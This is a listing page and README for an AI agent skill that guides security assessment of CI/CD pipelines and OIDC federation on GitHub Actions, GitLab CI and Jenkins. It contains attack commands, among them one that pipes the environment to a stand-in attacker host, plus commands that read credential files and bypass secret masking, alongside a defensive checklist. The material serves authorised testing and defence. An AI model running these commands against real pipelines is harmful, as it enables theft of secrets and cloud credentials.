mcpField
A
abusing-ci-cd-oidc

abusing-ci-cd-oidc

github.com/trilwuSecurity17749 installsUpdated 12w ago
Repository

About abusing-ci-cd-oidc

A security assessment guide for CI/CD pipelines and OIDC federation, covering GitHub Actions, GitLab CI, and Jenkins. It focuses on credential exposure, trust policies, runner isolation, and build artifact risks, and includes a defensive review checklist.

Key features

  1. 01Review GitHub Actions, GitLab CI, and Jenkins
  2. 02Assess OIDC trust policies
  3. 03Check secret and token exposure
  4. 04Inspect self-hosted runner isolation
  5. 05Analyze artifact and cache poisoning
  6. 06Use a defensive review checklist

Use cases

  1. 01Assess configuration risks in CI/CD workflows
  2. 02Check OIDC federation conditions for cloud roles
  3. 03Review runner and pipeline credential safeguards
  4. 04Investigate cache or build artifact poisoning

Install

Copy the command and run it in a terminal.

$npx skills add https://github.com/trilwu/secskills --skill abusing-ci-cd-oidc

After installing, type/abusing-ci-cd-oidcin Claude Code to confirm it loaded.

Details

From the project README

Abusing CI/CD Pipelines and OIDC Federation

CI/CD pipelines are high-privilege execution environments, often with direct cloud IAM access, deploy credentials, and signing keys. OIDC federation turns a repository write into cloud credential issuance when the trust policy is too broad. A single misconfigured workflow or a wildcard subject claim can bridge the gap from "can open a pull request" to "has production cloud access."

When to Use

  • Assessing GitHub Actions, GitLab CI, or Jenkins for exploitable misconfigurations
  • Testing OIDC federation trust policies between CI providers and cloud platforms
  • Extracting secrets, tokens, or credentials from pipeline execution environments
  • Evaluating self-hosted runner isolation and shared runner risk
  • Attempting lateral movement from CI/CD into cloud accounts via OIDC
  • Reviewing build artifact integrity and cache poisoning attack surface

When NOT to Use

  • Dependency and package supply chain attacks -- use auditing-supply-chain
  • Cloud IAM exploitation not originating from CI/CD -- use exploiting-cloud-platforms
  • Static code review of pipeline definitions as pure source -- use auditing-code-for-vulnerabilities

GitHub Actions

Poisoned Workflows

pull_request_target runs in the base repo context with secrets and a write-scoped GITHUB_TOKEN, but can be triggered by a fork PR.

# Find pull_request_target triggers that check out PR head code
rg -n 'pull_request_target' -A20 .github/workflows/ | rg 'checkout|ref.*head'

# Script injection: untrusted PR/issue data interpolated into run blocks
rg -n '\$\{\{\s*github\.event\.(issue|pull_request|comment|review)' .github/workflows/

Attack pattern: fork the repo, modify the checked-out code path (build script, Makefile, test harness), open a PR. The workflow executes your code with the base repo's secrets. Exfiltrate via DNS, HTTP callback, or artifact.

Secret Exfiltration and Token Scope
# Secrets are in the environment -- exfiltrate out-of-band
env | base64 | curl -d @- https://attacker.example/exfil

# GITHUB_TOKEN scope check
curl -s -H "Authorization: token $GITHUB_TOKEN" \
  https://api.github.com/repos/OWNER/REPO -I | grep 'x-oauth-scopes'

# Check if permissions are restricted in the workflow
rg -n 'permissions:' .github/workflows/
rg -n 'permissions:\s*write-all' .github/workflows/

Unrestricted GITHUB_TOKEN defaults to read+write on contents, packages, and more. With a write-scoped token: push to branches, create releases, modify packages, approve deployments.

Self-Hosted Runner Compromise

Self-hosted runners on public repos are a critical finding. They persist between jobs, so a malicious workflow leaves implants for subsequent jobs.

rg -n 'runs-on:.*self-hosted' .github/workflows/

# On a compromised runner: harvest credentials from prior jobs
find / -name '.credentials' -o -name '.env' -o -name '*.pem' 2>/dev/null
cat /home/runner/.aws/credentials
Artifact Poisoning
# If a PR workflow uploads build artifacts consumed by a deploy workflow,
# the PR author controls what gets deployed
rg -n 'upload-artifact|download-artifact' .github/workflows/

GitLab CI

Runner Tokens and Shared Runners
# Exposed runner registration tokens allow registering rogue runners
rg -rn 'RUNNER_TOKEN\|REGISTRATION_TOKEN\|CI_JOB_TOKEN' .gitlab-ci.yml

# CI_JOB_TOKEN can access other projects if inter-project deps are configured
curl --header "JOB-TOKEN: $CI_JOB_TOKEN" \
  "https://gitlab.example/api/v4/projects/OTHER_ID/repository/files/secret.txt/raw?ref=main"

# Shared runners: Docker socket mount leaks between jobs
rg -n 'docker:dind\|/var/run/docker.sock' .gitlab-ci.yml
CI Variables Extraction
# Masked variables are hidden from logs but present in env
printenv > /tmp/all_vars.txt && cat /tmp/all_vars.txt

# Protected variables: only on protected branches/tags
# Push a tag matching the protection pattern to access them
git tag release-exploit && git push origin release-exploit

OIDC Federation Abuse

OIDC federation lets CI jobs assume cloud roles without stored credentials. The security boundary is the trust policy's subject claim filter.

Overly Broad Subject Claims
# AWS: inspect IAM role trust policy conditions
aws iam get-role --role-name ci-deploy-role \
  --query 'Role.AssumeRolePolicyDocument' --output json

# Dangerous patterns in the Condition block:
# "sub": "repo:org/*"                     -- any repo in the org
# "sub": "repo:org/repo:*"                -- any branch, any environment
# "sub": "repo:org/repo:ref:refs/heads/*" -- any branch
# No Condition at all                      -- any token from the IdP

Vulnerable AWS trust policy:

{
  "Effect": "Allow",
  "Principal": {"Federated": "arn:aws:iam::ACCOUNT:oidc-provider/token.actions.githubusercontent.com"},
  "Action": "sts:AssumeRoleWithWebIdentity",
  "Condition": {
    "StringLike": {
      "token.actions.githubusercontent.com:sub": "repo:org-name/*"
    }
  }
}

Any repo in the org can assume this role. Abandoned repos, docs repos, and repos with loose contributor policies become pivots to production cloud access.

GCP and Azure
# GCP: check attribute conditions on workload identity provider
gcloud iam workload-identity-pools providers describe PROVIDER \
  --location=global --workload-identity-pool=POOL
# Vulnerable: no attribute condition, or condition matching only the org

# Azure: list federated identity credentials
az ad app federated-credential list --id APP_OBJECT_ID
# Same wildcard risks: "repo:org/*" or "repo:org/repo:ref:refs/heads/*"
# Safe: "repo:org/repo:environment:production"
Environment Protection Bypass

Environment protection rules gate OIDC token issuance only if the trust policy conditions include :environment:. A policy matching repo:org/repo:* ignores environments, so required reviewers provide no protection.

rg -n 'environment:' .github/workflows/
# Compare to the trust policy Condition -- if it lacks :environment:, bypass

Jenkins

Groovy Console and Credentials
# Script console (/script) runs arbitrary Groovy as SYSTEM
# Check for unauthenticated access
curl -s -o /dev/null -w "%{http_code}" http://jenkins.target/script

# Credential files on disk
cat /var/lib/jenkins/credentials.xml
cat /var/lib/jenkins/secrets/master.key
cat /var/lib/jenkins/secrets/hudson.util.Secret
Pipeline Library Injection
# Shared libraries via @Library execute in the pipeline sandbox
# If the library repo is writable, inject code into vars/ or src/
rg -n '@Library\|library\(' Jenkinsfile

# "Load implicitly" enabled = every pipeline runs the library's code

Secrets in CI

Extracting Masked Variables
# Masking hides secrets from logs but not from the process environment
echo "$SECRET_VAR" | base64                    # bypass log masking
echo "$SECRET_VAR" | sed 's/./&\n/g'           # char-by-char bypass
echo "$SECRET_VAR" > secret_dump.txt           # write to artifact
OIDC Token Interception
# GitHub Actions: request the OIDC token
curl -s -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
  "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com"

# JWT is reusable until expiry (typically 5-15 minutes)
echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
Long-Lived Tokens as CI Secrets
# Credentials that should have been replaced by OIDC
env | grep -i 'AWS\|AKIA'                     # AWS access keys
env | grep -i 'AZURE\|ARM_CLIENT'             # Azure SP credentials
find / -name '*service*account*.json' 2>/dev/null  # GCP SA keys

Build Artifact Poisoning

Cache Poisoning
# CI caches shared across branches -- a PR can poison the main-branch cache
rg -n 'actions/cache' -A5 .github/workflows/
# Check whether cache keys include dependency lock file hashes

rg -n 'cache:' -A10 .gitlab-ci.yml
# key: $CI_COMMIT_REF_SLUG is branch-scoped but forks may share
Dependency Confusion via Internal Registries
# If CI resolves from both internal and public registries,
# a higher-version public package wins resolution
rg -rn 'registry\|index-url\|repository' .npmrc .yarnrc pip.conf pyproject.toml
# Non-scoped internal packages (@org/pkg format) are vulnerable

Defensive Review Checklist

OIDC subject claim strictness:

  • Trust policies pin to specific repository (not org-wide wildcard)
  • Trust policies require specific branch or environment in the subject
  • Environment protection rules are configured for production deployments

Workflow approval gates:

  • pull_request_target workflows do not check out PR head code
  • Fork PRs require approval before workflows run
  • Required reviewers are set on deployment environments
  • Branch protection prevents direct pushes to release branches

Runner isolation:

  • Self-hosted runners are not used on public repositories
  • Runners are ephemeral (destroyed after each job)
  • Docker socket is not mounted into CI jobs

Secrets hygiene:

  • No long-lived cloud credentials stored as CI secrets (use OIDC)
  • GITHUB_TOKEN permissions are explicitly restricted per-job
  • Secrets are not available to fork-triggered workflows

Build integrity:

  • Third-party actions/images are pinned by SHA, not mutable tag
  • Cache keys include dependency lock file hashes
  • Build artifacts are signed and verified before deployment
  • Internal packages use scoped registries with no public fallback

Rationalizations to Reject

  • "The OIDC trust policy is org-scoped, and we trust all our repos." Any repo in the org becomes a pivot to cloud access. Abandoned repos, forks, and repos with loose contributor policies are all in scope.

  • "Secrets are masked in the logs." Masking is a log-display feature, not a security boundary. Secrets are plaintext in the process environment.

  • "The workflow only runs on PRs from maintainers." Unless fork PR approval is enforced at the repo or org level, external contributors can trigger pull_request_target workflows.

  • "Our runners are internal, so they are safe." Internal runners that persist between jobs accumulate credentials from every job they execute. Ephemeral runners are the control.

  • "We use environment protection rules." Protection rules only gate OIDC token issuance if the trust policy conditions include the environment claim. A policy matching repo:org/repo:* ignores environments entirely.

  • "It is just the CI token, it expires quickly." A 15-minute OIDC token is enough to exfiltrate data, modify infrastructure, or establish persistence in the cloud account. Short-lived is not harmless.

  • "The pipeline code is reviewed before merge." Review of the pipeline definition does not protect against pull_request_target, which runs the attacker's code before any merge.

ATT&CK Coverage

Generated from secskills-core/ttp-index.json — edit that file, then run python3 scripts/sync_attack.py --write. Re-verify IDs against the current ATT&CK release before citing them in a report.

Initial Access (TA0001)

  • T1199 Trusted Relationship — see also exploiting-cloud-platforms, attacking-entra-id

Credential Access (TA0006)

  • T1552 Unsecured Credentials — see also escalating-linux-privileges, exploiting-cloud-platforms, auditing-supply-chain

Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.

References

  • auditing-supply-chain -- dependency and package-level supply chain attacks
  • exploiting-cloud-platforms -- cloud IAM exploitation beyond CI/CD origins
  • auditing-code-for-vulnerabilities -- source-level review of pipeline code
  • engineering-detections -- building alerts for CI/CD abuse patterns

Comments

Markdown supported